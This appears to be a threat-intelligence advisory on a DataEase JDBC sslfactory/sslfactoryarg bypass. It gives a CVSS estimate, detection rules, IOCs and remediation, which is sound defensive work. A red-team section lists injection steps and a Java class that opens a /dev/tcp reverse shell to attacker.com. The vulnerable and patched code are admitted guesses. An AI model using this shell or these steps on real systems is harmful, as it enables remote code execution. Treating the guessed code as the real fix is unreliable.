CVE-2025-53005

Executive Summary

CVE-2025-53005 is a security advisory concerning a bypass vulnerability in DataEase, an open-source business intelligence and data visualization tool. The vulnerability resides in the PostgreSQL Data Source JDBC Connection Parameters, specifically within the sslfactory and sslfactoryarg parameters. An attacker could exploit this flaw to bypass intended security controls, potentially leading to unauthorized data access or other malicious activities. The vulnerability affects versions prior to 2.10.11 and has been patched in that release. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time.

Supply Chain & Package Security

DataEase is a Java-based application. The vulnerability is introduced through the application's own codebase, not through a third-party package. However, the JDBC driver for PostgreSQL is a standard dependency. The risk is mitigated by updating the DataEase application itself.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned value. Based on the nature of the vulnerability (a bypass in JDBC connection parameters), a reasonable assessment would be:

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – Exploitation does not require special conditions.
• Privileges Required (PR): Low (L) – An attacker would need some level of access to configure a data source.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Potential for unauthorized data access.
• Integrity (I): High (H) – Potential for data manipulation.
• Availability (A): Low (L) – Potential for service disruption.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L Estimated Score: 7.6 (High)

Threat Level: High. While no active exploitation is reported, the potential impact on confidentiality and integrity is significant.

Deep Dive & Mechanics

The vulnerability is a bypass in the PostgreSQL JDBC connection parameters sslfactory and sslfactoryarg. These parameters are used to specify a custom SSL socket factory class and its arguments. In a properly configured system, these parameters should be restricted to prevent arbitrary class instantiation. The bypass allows an attacker to specify a malicious class that could be loaded and executed by the JDBC driver, leading to remote code execution or other security breaches.

The core issue is insufficient input validation or sanitization of these parameters. An attacker with the ability to create or modify a PostgreSQL data source in DataEase could inject a malicious class name. When the JDBC connection is established, the driver would attempt to load and instantiate the specified class, potentially executing arbitrary code.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2.10.11): The vulnerable code likely does not properly validate or restrict the sslfactory and sslfactoryarg parameters. It may pass them directly to the JDBC driver without any checks.

// Vulnerable: No validation
String sslFactory = request.getParameter("sslfactory");
String sslFactoryArg = request.getParameter("sslfactoryarg");
// ... later in JDBC connection setup
Properties props = new Properties();
props.setProperty("sslfactory", sslFactory);
props.setProperty("sslfactoryarg", sslFactoryArg);
Connection conn = DriverManager.getConnection(url, props);

Patched Code (2.10.11+): The patched code likely implements a whitelist or validation mechanism to ensure only safe, predefined classes can be used.

// Patched: Whitelist validation
String sslFactory = request.getParameter("sslfactory");
String sslFactoryArg = request.getParameter("sslfactoryarg");
// Only allow known safe factories
if (!ALLOWED_SSL_FACTORIES.contains(sslFactory)) {
    throw new SecurityException("Invalid sslfactory parameter");
}
// Sanitize arguments
sslFactoryArg = sanitizeInput(sslFactoryArg);
Properties props = new Properties();
props.setProperty("sslfactory", sslFactory);
props.setProperty("sslfactoryarg", sslFactoryArg);
Connection conn = DriverManager.getConnection(url, props);

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to DataEase with permissions to create or modify a PostgreSQL data source.
• A malicious class that can be loaded by the JDBC driver (e.g., a class that executes a reverse shell).

Exploitation Steps:

1. Prepare Malicious Class: Create a Java class that implements javax.net.ssl.SSLSocketFactory and contains malicious code in its constructor or createSocket method.
2. Host the Class: Make the class available via a URL (e.g., on an attacker-controlled server).
3. Configure Data Source: In DataEase, create a new PostgreSQL data source or modify an existing one.
4. Inject Parameters: In the JDBC connection parameters, set:
   • sslfactory = com.example.MaliciousFactory
   • sslfactoryarg = http://attacker.com/MaliciousFactory.jar
5. Trigger Connection: Save the data source and trigger a connection (e.g., by testing the connection or running a query).
6. Execute Code: The JDBC driver loads the malicious class, executing the attacker's code.

Example Malicious Class (Conceptual):

import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.Socket;

public class MaliciousFactory extends SSLSocketFactory {
    public MaliciousFactory() {
        // Execute reverse shell
        try {
            Runtime.getRuntime().exec("bash -c 'exec bash -i &>/dev/tcp/attacker.com/4444 <&1'");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    // ... other required methods
}

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual JDBC connection parameters, especially sslfactory and sslfactoryarg.
• Look for outbound connections to unknown or suspicious IP addresses on unusual ports.
• Monitor for unexpected class loading or JAR downloads.

Defense:

• Immediate: Upgrade to DataEase version 2.10.11 or later.
• Network Segmentation: Restrict outbound internet access from DataEase servers.
• Input Validation: Implement strict validation of all JDBC connection parameters.
• Least Privilege: Ensure users have only the minimum permissions needed to create data sources.
• Monitoring: Enable logging of all data source creation and modification events.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections to IP addresses hosting malicious JAR files.
  • Unusual DNS queries for domains hosting exploit payloads.
• File System:
  • Unexpected JAR files in temporary directories or classpath.
  • Modified DataEase configuration files.
• Logs:
  • DataEase audit logs showing creation of data sources with sslfactory or sslfactoryarg parameters.
  • Java exceptions related to class loading or SSL socket factory instantiation.
• Process:
  • Unexpected child processes spawned by the DataEase Java process (e.g., shell commands).

Detection Engineering

YARA Rule

rule CVE_2025_53005_DataEase_JDBC_Bypass {
    meta:
        description = "Detects exploitation attempts of CVE-2025-53005 in DataEase logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53005"
    strings:
        $s1 = "sslfactory" nocase
        $s2 = "sslfactoryarg" nocase
        $s3 = "jdbc:postgresql" nocase
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: DataEase JDBC SSL Factory Bypass Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-53005 by using sslfactory or sslfactoryarg parameters in DataEase.
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: dataease
detection:
    selection:
        EventID: 1001  # Example: Data source creation event
        Parameters|contains:
            - 'sslfactory'
            - 'sslfactoryarg'
    condition: selection
falsepositives:
    - Legitimate use of custom SSL factories (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-53005 DataEase JDBC SSL Factory Bypass"; flow:to_server,established; content:"sslfactory"; nocase; content:"sslfactoryarg"; nocase; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update DataEase to version 2.10.11 or later immediately.
2. Verify: Confirm the upgrade by checking the application version in the admin panel.

Long-Term Mitigations:

• Network Security: Implement strict egress filtering to prevent outbound connections to unknown hosts.
• Application Security: Conduct regular security audits of DataEase configurations and user permissions.
• Monitoring: Enable detailed logging and alerting for data source creation and modification events.
• Patch Management: Subscribe to DataEase security advisories and apply patches promptly.

Workarounds (if upgrade is not immediately possible):

• Restrict user permissions to prevent creation or modification of PostgreSQL data sources.
• Implement a web application firewall (WAF) rule to block requests containing sslfactory or sslfactoryarg parameters.
• Monitor logs for any use of these parameters and investigate immediately.

Valters IT
DevSecOps & Cyber Threat Intelligence